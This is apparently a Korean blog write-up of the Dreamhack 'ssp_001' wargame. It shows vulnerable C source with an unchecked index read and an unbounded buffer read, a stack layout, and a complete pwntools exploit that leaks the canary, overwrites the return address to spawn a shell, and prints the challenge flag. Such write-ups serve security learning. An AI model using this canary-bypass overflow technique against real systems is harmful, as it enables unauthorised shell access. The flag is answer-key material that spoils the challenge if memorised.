#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() { //쉘을 띄워주는 함수
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) { //원하는 인덱스의 box 값을 출력
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() { //menu를 출력
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F': //menu에 F 입력하면 box에 0x40 입력받음
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P': //menu에 P 입력하면 idx 입력받고 print_box() 함수 호출하여 box[idx]로부터 2바이트 인덱스 값 출력
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E': //menu에 E 입력하면 name_len 변수에 이름의 크기 입력받고 name 변수에 이름 입력받음
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
문제 코드 해석은 주석으로 달아 두었다.
메뉴 P에서 idx를 입력받을 때 경계값 검사를 하지 않기 때문에 64 이상 입력해 box[0x40] 영역을 벗어나는 메모리 공간을 leak하고 name 아래에 있는 값을 출력할 수 있다.
메뉴 E에서 name_len에 제한이 없어 원하는 크기만큼 name에 입력할 수 있기 때문에 버퍼 오버플로우가 발생한다.
그럼 어떻게 공격을 해야할까?
1. P로 카나리 릭
2. E로 BOF 트리거
3. 1의 카나리로 stack guard 우회 후 RET을 get_shell addr로 덮어쓰기
select = [ebp-0x8a]
box = [ebp-0x88]
idx = [ebp-0x94]
name = [ebp-0x48]
name_len = [ebp-0x90]
RET = 0xf7d9b519
EBP = 0xf7ffd020
canary = 0x7fc2fb00
canary와 ebp 사이에 0xf7ffcb80이라는 dummy 존재
RET [4]
EBP [4]
dummy [4]
canary [4]
name [64]
box [64]
select [2]
name_len [4]
idx [4]
페이로드를 짜보자.
nop * 64 + canary + nop * 4 + nop * 4 + get_shell address
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
#context.log_level = 'debug'
p = remote("host3.dreamhack.games", 17050)
e = ELF("./ssp_001")
get_shell = e.symbols['get_shell']
# Canary Leak
canary = b""
i = 131
while i >= 128: //P buf idx 출력 -> canary 추출
p.sendlineafter("> ", 'P')
p.sendlineafter("Element index : ", str(i))
p.recvuntil("is : ")
canary += p.recvn(2)
i = i - 1
canary = int(canary, 16)
slog("canary", canary)
# BOF
payload = b'A' * 64
payload += p32(canary)
payload += b'A' * 8
payload += p32(get_shell)
p.sendlineafter("> ", 'E')
p.sendlineafter("Name Size : ", str(1000))
p.sendlineafter("Name : ", payload)
p.interactive()
DH{00c609773822372daf2b7ef9adbdb824}
'Wargame > Dreamhack' 카테고리의 다른 글
[Dreamhack] basic_exploitation_002 (0) | 2023.11.11 |
---|---|
[Dreamhack] Return to library (0) | 2023.09.24 |
[Dreamhack] Return to shallcode (0) | 2023.09.24 |
[Dreamhack] basic_exploitation_000 (0) | 2023.09.17 |
[Dreamhack] XSS-1 (0) | 2023.09.14 |